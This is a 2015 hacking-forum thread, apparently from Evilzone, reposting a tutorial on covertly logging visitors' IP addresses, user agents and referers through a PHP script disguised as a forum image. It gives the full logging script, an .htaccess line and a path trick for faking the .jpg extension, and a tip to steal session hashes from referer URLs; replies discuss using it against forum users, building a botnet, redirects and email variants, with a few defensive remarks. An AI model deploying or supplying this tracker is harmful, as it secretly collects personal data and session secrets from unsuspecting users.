Author Topic: Stealing User Info with PHP Images  (Read 5910 times)

0 Members and 2 Guests are viewing this topic.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Stealing User Info with PHP Images
« on: April 10, 2015, 07:58:37 am »
This is an old tutorial I had saved from older boards, this member was pretty active and knowledgeable back then, but after the fall of 1nj3ct, he went someplace and I haven't seen him since then. I couldn't contact him either, would be pretty nice if he could come back :)
Anyway, this is an old tutorial, so I'm sure he wouldn't mind me posting it.

.:Intro:.

Written by t3hmadhatt3r -- Contact me at t3hmadhatt3r@gmail.com.
Hello mates. I have been working on a method of getting IP's and other info using the GD library.

.:The Code:.

Ok first we will use the GD library in php to generate a valid image in php. Here's some code to do just that:

Code: (php) [Select]
<?php

/*
.:Made by t3hmadhtt3r -- t3hmadhatt3r@gmail.com:.
.:Please don't share! Keep this quiet!:.
.:Please be safe:.
.:Enjoy!:.
*/

// Defining Variables

$IP $_SERVER['REMOTE_ADDR']; // Saves the IP
$UA $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
$RE $_SERVER['HTTP_REFERER']; // Saves the Referer
$DATE date('l jS \of F Y h:i:s A');
$DATA '<p>IP: '.$IP.'<br/><p>User Agent: '.$UA.'<br/><p>Referer: '.$RE.'<br/><p>Date: '.$DATE.'<br/><br/><br/>';

/*PS: Try using the referer logging feature to exploit forums and sites that keep useful info in the URL. Example: HTTP://WWW.LAMESITE.COM/POST.PHP?ID=4&HASH=(THE VICTIMS MD5 HASH)&USER=t3hmadhatt3r*/

// Writing the logs

$fp fopen('Cool_Huh?.html''a');
fwrite($fp$DATA);
fclose($fp);

// Behold the mighty GD Library ^_^

header("Content-type: image/png");
$img ImageCreate (11);
$bg ImageColorAllocate ($img000);
$txt ImageColorAllocate ($img000);
ImagePng($img);

// Later...
?>


More Info about that PHP GD library at http://us2.php.net/manual/en/book.image.php

.:Faking the Extension:.

Now we have a valid image but, how will we get it to work on forums that dont allow php as a image extension? Well there are two ways. One which is better than the other.

1. .htaccess (This is the best way)
If you are using a server that allows you to configure your own .htaccess file than you can add the following line to execute all files with the .jpg extension as a php file.

Code: [Select]
AddHandler application/x-httpd-php .jpg

Note: If you dont have a server that allows this I recommend looking at http://www.free-webhosts.com/search-webhosts.php?SA=.htaccess.

Now you can rename the php file to jpg and it will still work! Tricky Aye?

2. Tricky Technique (This way works just the same but is suspicious)
This technique can be done on most servers (I tried it on t35 and got some Permission errors... Probably because of the Jail Shell) but, It could get some attention from a admin pretty quickly. Just add a /image.jpg to the end of the PHP file.

Example:

http://subdomain.whatever.com/script.php/image.jpg

This will make it look like the extension is jpg but the php will ignore it and execute normally.

.:Ending:.

Now you can embed this image in forums just like any other image.

Enjoy the code!

 -- t3hmadhatt3r;

Offline cr4zi8

  • Serf
  • *
  • Posts: 29
  • Cookies: 26
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #1 on: April 10, 2015, 08:55:05 pm »
Huh i really don't follow why this is useful?

Offline TheWormKill

  • EZ's Scripting Whore
  • Global Moderator
  • Knight
  • *
  • Posts: 257
  • Cookies: 66
  • The Grim Reaper of Worms
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #2 on: April 10, 2015, 09:05:01 pm »
Huh i really don't follow why this is useful?
You can use this as a fake image on a forum and harvest session-related data of users visiting a page embedding it.

For instance, I host that php script on some server and make my profile picture on some shtty forum link to it. Then I start
posting around etc. As soon as someone reads one of my posts, the script gets executed, which means that I can do some fancy stuff to the visitors.

That's how I got it, I might be wrong.
Stuff I did: How to think like a superuser, Iridium

He should make that "Haskell"
Quote
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Stealing User Info with PHP Images
« Reply #3 on: April 10, 2015, 09:06:42 pm »
You can use this as a fake image on a forum and harvest session-related data of users visiting a page embedding it.

For instance, I host that php script on some server and make my profile picture on some shtty forum link to it. Then I start
posting around etc. As soon as someone reads one of my posts, the script gets executed, which means that I can do some fancy stuff to the visitors.

That's how I got it, I might be wrong.
Yes, pretty much this. It has been done few times on this forum, but those users were warned and/or banned.

Offline TheWormKill

  • EZ's Scripting Whore
  • Global Moderator
  • Knight
  • *
  • Posts: 257
  • Cookies: 66
  • The Grim Reaper of Worms
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #4 on: April 10, 2015, 09:08:50 pm »
Yes, pretty much this. It has been done few times on this forum, but those users were warned and/or banned.
Oops, shouldn't have said "shitty forum" then. ^^
Stuff I did: How to think like a superuser, Iridium

He should make that "Haskell"
Quote
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker

Offline HTH

  • Official EZ Slut
  • Administrator
  • Knight
  • *
  • Posts: 395
  • Cookies: 158
  • EZ Titan
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #5 on: April 10, 2015, 09:20:06 pm »
IIRC we have safeguards in place so nignogs can't do that any more.
<ande> HTH is love, HTH is life
<TurboBorland> hth is the only person on this server I can say would successfully spitefuck peoples women

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #6 on: April 13, 2015, 04:53:44 pm »
Then HF here i come. I might create a productive botnet out of them HF ninjas.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline nrael

  • Peasant
  • *
  • Posts: 66
  • Cookies: -7
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #7 on: April 15, 2015, 09:30:16 pm »
this is called tracking pixel.

http://stackoverflow.com/questions/13079666/developing-a-tracking-pixel

if you implement this in an E-Mail you get the time when the E-Mail was read.

Offline yhi

  • Serf
  • *
  • Posts: 42
  • Cookies: -70
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #8 on: April 18, 2015, 03:26:46 pm »
its awesome :D

i have 2 question ?

does it still works ??

& how to protect ourself or suppose i own a forum how to protect members from it ??

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Stealing User Info with PHP Images
« Reply #9 on: April 18, 2015, 08:47:40 pm »
does it still works ??
Yes and it will as long as PHP is around.

how to protect ourself or suppose i own a forum how to protect members from it ??
You can't. IMO only thing you can do is surf the web through proxies if you're that paranoid...
For protecting people in a forum - well, disable avatars and signatures, and you can probably forbid images in posts too, but users might not like it.

Offline sh4d0w_w4tch

  • Peasant
  • *
  • Posts: 73
  • Cookies: -1
  • Please do not feed the skids.
    • View Profile
    • 6c.nz
Re: Stealing User Info with PHP Images
« Reply #10 on: April 19, 2015, 05:42:10 am »
Yes and it will as long as PHP is around.
You can't. IMO only thing you can do is surf the web through proxies if you're that paranoid...
For protecting people in a forum - well, disable avatars and signatures, and you can probably forbid images in posts too, but users might not like it.

I second using a VPN all the time.  It will encrypt your traffic out of your network in case something on your network has been pwnned and will stop these people from getting your IP.  If you want to be anonymous than change your IP when you switch between personas and use a very commonly used VPN.
DeepCopy | Can you name a VPN provider that's like "hey use our services to hack government sites and spam the internet. Please Abuse our services"

+Polyphony | paging master hackers of evilzone: i am here to learn about your black hatted tools to hack different viruses like facebook, sql, php, and other ring zero exploits


Offline fromnorth

  • NULL
  • Posts: 1
  • Cookies: -1
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #11 on: May 13, 2015, 02:22:48 pm »
would i be possible to tweak this script into eg. doing redirects? Like on sites that only allow image upload and when users then visit image-url they get redirected?

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Stealing User Info with PHP Images
« Reply #12 on: May 13, 2015, 05:39:06 pm »
I suppose, by using a header() function, or cURL.
« Last Edit: May 13, 2015, 05:39:18 pm by Kulverstukas »

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #13 on: May 13, 2015, 11:09:41 pm »
I wonder if there is a method similar to this,that can be deployed and embedded in emails. You send an email to an individual or group of individuals, then magic happens the moment your email is opened by others?
« Last Edit: May 13, 2015, 11:10:39 pm by Axon »

Offline TheWormKill

  • EZ's Scripting Whore
  • Global Moderator
  • Knight
  • *
  • Posts: 257
  • Cookies: 66
  • The Grim Reaper of Worms
    • View Profile
Re: Stealing User Info with PHP Images
« Reply #14 on: May 13, 2015, 11:25:16 pm »
Well since it is possible to send emails in HTML format, you can include JavaScript. But I guess it won't be very successful since some security measures should be in place to prevent this kind of threat. Is that what you meant? Can't think of something more sophisticated right now.
Stuff I did: How to think like a superuser, Iridium

He should make that "Haskell"
Quote
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker